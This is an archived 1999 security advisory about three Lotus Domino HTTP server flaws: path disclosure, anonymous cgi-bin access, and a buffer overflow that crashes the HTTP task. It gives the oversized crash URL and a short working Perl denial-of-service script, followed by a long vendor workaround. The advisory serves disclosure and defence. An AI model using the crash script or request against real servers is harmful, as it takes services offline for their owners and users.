TUCoPS :: Web :: Servers :: notes07.htm

Lotus Domino http server - three vulnerabilities
Vulnerability

    Lotus Domino

Affected

    Lotus Domino

Description

    Alain Thivillon found following.  Lotus Domino HTTP server can  be
    used as a traditional Web  server, with static html documents  and
    cgi-bin  scripts  handling.  These  features  are  turned  on   by
    default,   and   use    /cgi-bin   virtual    path,   mapped    to
    <NOTESDATA>\domino\cgi-bin directory.   When doing audit  of these
    functions,  he  found  three  vulnerabilites  in  handling  of cgi
    requests:

    1. Domino server exposes configuration of local filesystem:
    ===========================================================
    When requesting http://server/cgi-bin/blabla, HTTP response is

        Error 500
        Bad script request -- no variation of 'c:/notes/data/domino/cgi-bin/blabla' is executable

    This can be used to obtain OS and installation details.

    2. Turning off anonymous access in server document of Notes Name &
       Adress Book as no effect for cgi-bin directory :
    ==================================================================
    anonymous  access  is  still  permitted.  The same applies to "SSL
    redirection of entire server" : cgi-bin can still be accessed  via
    HTTP port.

    3. Now the worst ...
    ====================
    Handling of response  to bad requests  (see 1) is  vulnerable to a
    buffer overflow  : by  sending a  large URL  relative to  cgi-bin,
    HTTP  task  crashes  immediatly,  and  does  not  service requests
    anymore (including standard  Notes database access  by HTTP).   If
    Domino  is  launched  as  a  NT  service,  service  will  not stop
    completly, you  need to  kill remaining  processes (using kill.exe
    in Reskit) or reboot Windows NT.  We notice that all requests does
    not crash server, but sending

        GET /cgi-bin/... (800 .) aaaa (4000 a) HTTP/1.0

    kills nHTTP.exe every time.   Testers were able to reproduce  this
    on all 4.6.X series, including 4.6.6b, wich seems the last version
    accessible on www.notes.net.  Buffer overflow is maybe exploitable
    to execute arbitrary  code.  On  Unix versions problems  1. and 2.
    are present.  The same remark applies to Domino 5.x.

    Demonstration script  using Perl  LWP module  is given  below.   A
    nessus plugin will be available thanks to Renaud Deraison on

        http://www.nessus.org/

    Demonstration script:

    #!/usr/bin/perl -w
    # This will crash Lotus Domino Server (tested on 4.6.4,4.6.5,4.6.6 and
    # 4.6.6b).
    # (c) Alain Thivillon, Stephane Aubert and Herve Schauer Consultants 1999

    use LWP::UserAgent;

    $ua = new LWP::UserAgent;
    $ua->agent("a");

    $target='Insertyourtargetnamehere';

    $url="http://".$target."/cgi-bin/".'.'x800;
    $url.='a'x4000;
    my $req = new HTTP::Request GET => $url;

    my $res = $ua->request($req);

    if ($res->is_success) {
      print $res->content;
    }
    else {
      print "Well done, Joe\n";
    }

Solution

    If you  don't use  cgi-bin on  your Domino  server, change cgi-bin
    virtual directory  in server  document to  something impossible to
    guess.  Leaving field empty has  no effect.

    The  buffer  overflow  problem  in  notes  as  mentioned  by Alain
    Thivillion can be  worked around if  you don't use  cgi-scripts at
    all, or are prepared to do a bit of work for all the scripts  that
    are on the server (posted bz Bram Kerkhof).

    The procedure (Lotus Notes knowledgebase):
      The workaround  in versions  prior to  4.6.1 is  to create a URL
      redirect in the DOMCFG.NSF database that redirects any anomalous
      CGI requests to  another URL. Since  any non-existent CGI  calls
      can cause this error, the following workaround is suggested.

      * If the customer  does not require the  use of any CGI's,  then
        the entire /cgi-bin directory can be redirected to another URL
        (a Notes database, or  html file). If any  "/cgi-bin" requests
        are  made,  they  will  be  directed  to  this URL and are not
        processed as CGI.

      * If the  customer does require  the use of  CGI's the following
        setup will be required:

        1) In the HTTP section of the Server Document, change the "CGI
           URL path"  field to  a different  URL path.  This does  not
           require a change for  the "CGI directory" field,  such that
           the location on  the hard drive  for CGI's will  remain the
           same.  Only the URL which invokes CGI's will be altered.

           Example: The  default CGI  URL path  is "/cgi-bin";  change
           this  to  "/scripts/cgi-bin".  Now,  whenever  a   /cgi-bin
           request is  made, it  is recognized  as a  URL instead of a
           CGI.

        2) Create a URL Redirect  document in the DOMCFG.NSF for  each
           specific  CGI  that  resides  on  the  server.  Specify the
           incoming URL path as "/cgi-bin", and the redirection URL as
           "/scripts/cgi-bin".

           Example:  A  customer  has  a  CGI  named "Xrun.cgi" in the
           domino/cgi-bin  directory.  Regularly,   any  requests   to
           execute     the      CGI     would      come     in      as
           "http://hostname/cgi-bin/Xrun.cgi".   This  URL  request is
           redirected  to  "http://hostname/scripts/cgi-bin/Xrun.cgi",
           where  Domino  will  recognize  it  as  a  CGI, and run the
           script.   In this  case, the  "/cgi-bin" URL  itself is not
           recognized as a  CGI request.   It is only  the redirection
           to "/scripts/cgi-bin" that will cause the Domino server  to
           process it as a CGI script

      At this point, any  generic requests for CGI's  using "/cgi-bin"
      will not  be recognized  as CGI.  Instead, the  Web server  will
      search for a comparable filename, returning "Error 404- file not
      found" since  it is  not capable  of finding  such a  URL.   The
      customer can now  customize the error  message to indicate  that
      the requested CGI does not reside on the server.

    The above configuration is designed to accomplish the following:
    * Since the current  Domino 4.6 Server code  may crash any time  a
      non-existent CGI is requested, the potential to run non-existent
      CGI's  must  be  removed.   By  this configuration anomalous CGI
      requests are not recognized as CGI scripts, and Domino will  not
      attempt to run them.

    * The CGI  URL path is  altered so that  only CGI's using  the URL
      "/scripts/cgi-bin..."  will   be  recognized   as  CGI's.    The
      administrator  then  creates  a  URL  redirect document for each
      present  CGI  that  redirects  any  valid URL requests using the
      syntax  "/cgi-bin..."  to  the  URL  "/scripts/cgi-bin...".  The
      Domino Server will then invoke the CGI script.  This will  avoid
      the Domino Server attempting to run a CGI that is not present on
      the server, running only valid CGI's.

    * Since the  URL redirect does  not display the  redirected URL to
      the browser, end users need not  ever know the true URL path  to
      invoke  CGI  scripts.   This  further  protects  the  site  from
      unscrupulous web  clients deliberately  attempting to  crash the
      server by requesting to invoke a non-existent URL.  Such a  user
      would need to know  the exact URL path  to issue for the  server
      to recognize it is  a request for a  CGI, and would have  no way
      to determine this URL under a secure site.

    It  means  that  you  have  to  set your cgi-bin path to something
    which is, as Alain stated,  unguessable, but has the advantage  of
    not  disclosing  this  path  to  the  visitors  of  the  site  and
    maintainig  the  possibility  to  run  CGI's  if needed.  The full
    knowledgebase article is available at

        http://www.support.lotus.com/sims2.nsf/0/6ecb87e6e6820b008525659f0080d40c?OpenDocument

    The described  workaround does  work for  Notes-Servers not  using
    CGI at all.   However, there is  still a problem  with hiding  the
    cgi's in a different script  directory.  Notes sends the  ,,real''
    script directory in the  Content-Base-Field of the header.   Using
    this  information,  the  machine  can  still  be  crashed  (tested
    successfully on 4.6.2a).

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH